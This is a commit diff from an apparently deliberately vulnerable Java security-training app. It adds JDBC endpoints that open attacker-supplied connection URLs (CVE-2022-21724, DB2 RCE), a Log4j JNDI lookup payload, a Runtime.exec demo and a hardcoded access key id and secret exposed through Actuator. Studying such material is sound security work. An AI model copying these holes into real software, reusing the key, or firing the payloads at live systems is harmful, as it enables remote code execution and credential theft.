Skip to content

Commit 4ede83a

Browse files
committed
add jdbc & actuator ak_secret
1 parent cab74a4 commit 4ede83a

File tree

9 files changed

+104
-274
lines changed

9 files changed

+104
-274
lines changed

java-sec-code.iml

Lines changed: 1 addition & 227 deletions
Large diffs are not rendered by default.

pom.xml

Lines changed: 7 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -337,6 +337,13 @@
337337
<version>42.3.1</version>
338338
</dependency>
339339

340+
<!-- jdbc db2 rce -->
341+
<dependency>
342+
<groupId>com.ibm.db2</groupId>
343+
<artifactId>jcc</artifactId>
344+
<version>11.5.8.0</version>
345+
</dependency>
346+
340347
</dependencies>
341348

342349
<dependencyManagement>
Lines changed: 36 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,36 @@
1+
package org.joychou.controller;
2+
3+
import lombok.extern.slf4j.Slf4j;
4+
import org.springframework.web.bind.annotation.RequestMapping;
5+
import org.springframework.web.bind.annotation.RestController;
6+
7+
import java.sql.DriverManager;
8+
9+
/**
10+
* Jdbc Attack @2023.04
11+
*/
12+
@Slf4j
13+
@RestController
14+
@RequestMapping("/jdbc")
15+
public class Jdbc {
16+
17+
/**
18+
* <a href="https://github.com/JoyChou93/java-sec-code/wiki/CVE-2022-21724">CVE-2022-21724</a>
19+
*/
20+
@RequestMapping("/postgresql")
21+
public void postgresql(String jdbcUrlBase64) throws Exception{
22+
byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
23+
String jdbcUrl = new String(b);
24+
log.info(jdbcUrl);
25+
DriverManager.getConnection(jdbcUrl);
26+
}
27+
28+
@RequestMapping("/db2")
29+
public void db2(String jdbcUrlBase64) throws Exception{
30+
Class.forName("com.ibm.db2.jcc.DB2Driver");
31+
byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
32+
String jdbcUrl = new String(b);
33+
log.info(jdbcUrl);
34+
DriverManager.getConnection(jdbcUrl);
35+
}
36+
}

src/main/java/org/joychou/controller/Log4j.java

Lines changed: 5 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -26,4 +26,9 @@ public String log4j(String token) {
2626
}
2727
}
2828

29+
public static void main(String[] args) {
30+
String poc = "${jndi:ldap://127.0.0.1:1389/f616nl}";
31+
logger.error(poc);
32+
}
33+
2934
}

src/main/java/org/joychou/controller/Rce.java

Lines changed: 5 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -58,8 +58,7 @@ public String CommandExec(String cmd) {
5858

5959

6060
/**
61-
* http://localhost:8080/rce/ProcessBuilder?cmd=whoami
62-
* @param cmd cmd
61+
* <a href="http://localhost:8080/rce/ProcessBuilder?cmd=whoami">POC</a>
6362
*/
6463
@GetMapping("/ProcessBuilder")
6564
public String processBuilder(String cmd) {
@@ -131,16 +130,10 @@ public void groovyshell(String content) {
131130
groovyShell.evaluate(content);
132131
}
133132

134-
/**
135-
* <a href="https://github.com/JoyChou93/java-sec-code/wiki/CVE-2022-21724">CVE-2022-21724</a>
136-
*/
137-
@RequestMapping("/postgresql")
138-
public void postgresql(String jdbcUrlBase64) throws Exception{
139-
byte[] b = java.util.Base64.getDecoder().decode(jdbcUrlBase64);
140-
String jdbcUrl = new String(b);
141-
log.info(jdbcUrl);
142-
DriverManager.getConnection(jdbcUrl);
143-
}
144133

134+
135+
public static void main(String[] args) throws Exception{
136+
Runtime.getRuntime().exec("touch /tmp/x");
137+
}
145138
}
146139

src/main/java/org/joychou/controller/XXE.java

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -436,8 +436,8 @@ public interface UserPayload {
436436
String getUserName();
437437
}
438438

439+
public static void main(String[] args) {
439440

440-
public static void main(String[] args) {
441441
}
442442

443443
}

src/main/java/org/joychou/security/ssrf/SSRFChecker.java

Lines changed: 45 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -188,6 +188,7 @@ public static String host2ip(String host) {
188188
InetAddress IpAddress = InetAddress.getByName(host);
189189
return IpAddress.getHostAddress();
190190
} catch (Exception e) {
191+
logger.error("host2ip exception " + e.getMessage());
191192
return "";
192193
}
193194
}
@@ -198,45 +199,57 @@ public static String host2ip(String host) {
198199
* @return Octal ip returns true, others return false. 012.23.78.233 return true. 012.0x17.78.233 return false.
199200
*/
200201
public static boolean isOctalIP(String host) {
201-
String[] ipParts = host.split("\\.");
202-
StringBuilder newDecimalIP = new StringBuilder();
203-
boolean is_octal = false;
204-
205-
// Octal ip only has number and dot character.
206-
if (isNumberOrDot(host)) {
207-
208-
// not support ipv6
209-
if (ipParts.length > 4) {
210-
throw new SSRFException("Illegal ipv4: " + host);
211-
}
212-
213-
// 01205647351
214-
if( ipParts.length == 1 && host.startsWith("0") ) {
215-
decimalIp = Integer.valueOf(host, 8).toString();
216-
return true;
217-
}
202+
try{
203+
String[] ipParts = host.split("\\.");
204+
StringBuilder newDecimalIP = new StringBuilder();
205+
boolean is_octal = false;
206+
207+
// Octal ip only has number and dot character.
208+
if (isNumberOrDot(host)) {
209+
210+
// not support ipv6
211+
if (ipParts.length > 4) {
212+
logger.error("Illegal ipv4: " + host);
213+
return false;
214+
}
218215

219-
// 012.23.78.233
220-
for(String ip : ipParts) {
221-
if (!isNumber(ip)){
222-
throw new SSRFException("Illegal ipv4: " + host);
216+
// 01205647351
217+
if( ipParts.length == 1 && host.startsWith("0") ) {
218+
decimalIp = Integer.valueOf(host, 8).toString();
219+
return true;
223220
}
224-
if (ip.startsWith("0")) {
225-
if (Integer.valueOf(ip, 8) >= 256){
226-
throw new SSRFException("Illegal ipv4: " + host);
221+
222+
// 012.23.78.233
223+
for(String ip : ipParts) {
224+
if (!isNumber(ip)){
225+
logger.error("Illegal ipv4: " + host);
226+
return false;
227227
}
228-
newDecimalIP.append(Integer.valueOf(ip, 8)).append(".");
229-
is_octal = true;
230-
}else{
231-
if (Integer.valueOf(ip, 10) >= 256) {
232-
throw new SSRFException("Illegal ipv4: " + host);
228+
// start with "0", but not "0"
229+
if (ip.startsWith("0") && !ip.equals("0")) {
230+
if (Integer.valueOf(ip, 8) >= 256){
231+
logger.error("Illegal ipv4: " + host);
232+
return false;
233+
}
234+
newDecimalIP.append(Integer.valueOf(ip, 8)).append(".");
235+
is_octal = true;
236+
}else{
237+
if (Integer.valueOf(ip, 10) >= 256) {
238+
logger.error("Illegal ipv4: " + host);
239+
return false;
240+
}
241+
newDecimalIP.append(ip).append(".");
233242
}
234-
newDecimalIP.append(ip).append(".");
235243
}
244+
// delete last char .
245+
decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf("."));
236246
}
237-
decimalIp = newDecimalIP.substring(0, newDecimalIP.lastIndexOf("."));
247+
return is_octal;
248+
} catch (Exception e){
249+
logger.error("SSRFChecker isOctalIP exception: " + e.getMessage());
250+
return false;
238251
}
239-
return is_octal;
252+
240253
}
241254

242255
/**

src/main/resources/application.properties

Lines changed: 3 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -9,8 +9,6 @@ logging.level.org.joychou.mapper=debug
99

1010
# Spring Boot Actuator Config
1111
management.security.enabled=false
12-
endpoints.enabled=true
13-
1412

1513
# logging.config=classpath:logback-online.xml
1614

@@ -55,3 +53,6 @@ joychou.no.need.login.url = /css/**, /js/**, /xxe/**, /rce/**, /deserialize/**,
5553

5654
# http header max size
5755
#server.max-http-header-size=30000
56+
57+
jsc.accessKey.id=LTAI5tSAEPX3Z5N2Yt8ogc2y
58+
jsc.accessKey.secret=W1Poxj09wN0Zu6dDsS0on3SIUhOhK7

src/main/resources/templates/index.html

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -20,6 +20,7 @@
2020
<a th:href="@{/rce/exec?cmd=whoami}">RCE</a>&nbsp;&nbsp;
2121
<a th:href="@{/ooxml/upload}">ooxml XXE</a>&nbsp;&nbsp;
2222
<a th:href="@{/xlsx-streamer/upload}">xlsx-streamer XXE</a>
23+
<a th:href="@{/env}">actuator env</a>
2324
</p>
2425

2526
<P>

0 commit comments

Comments
 (0)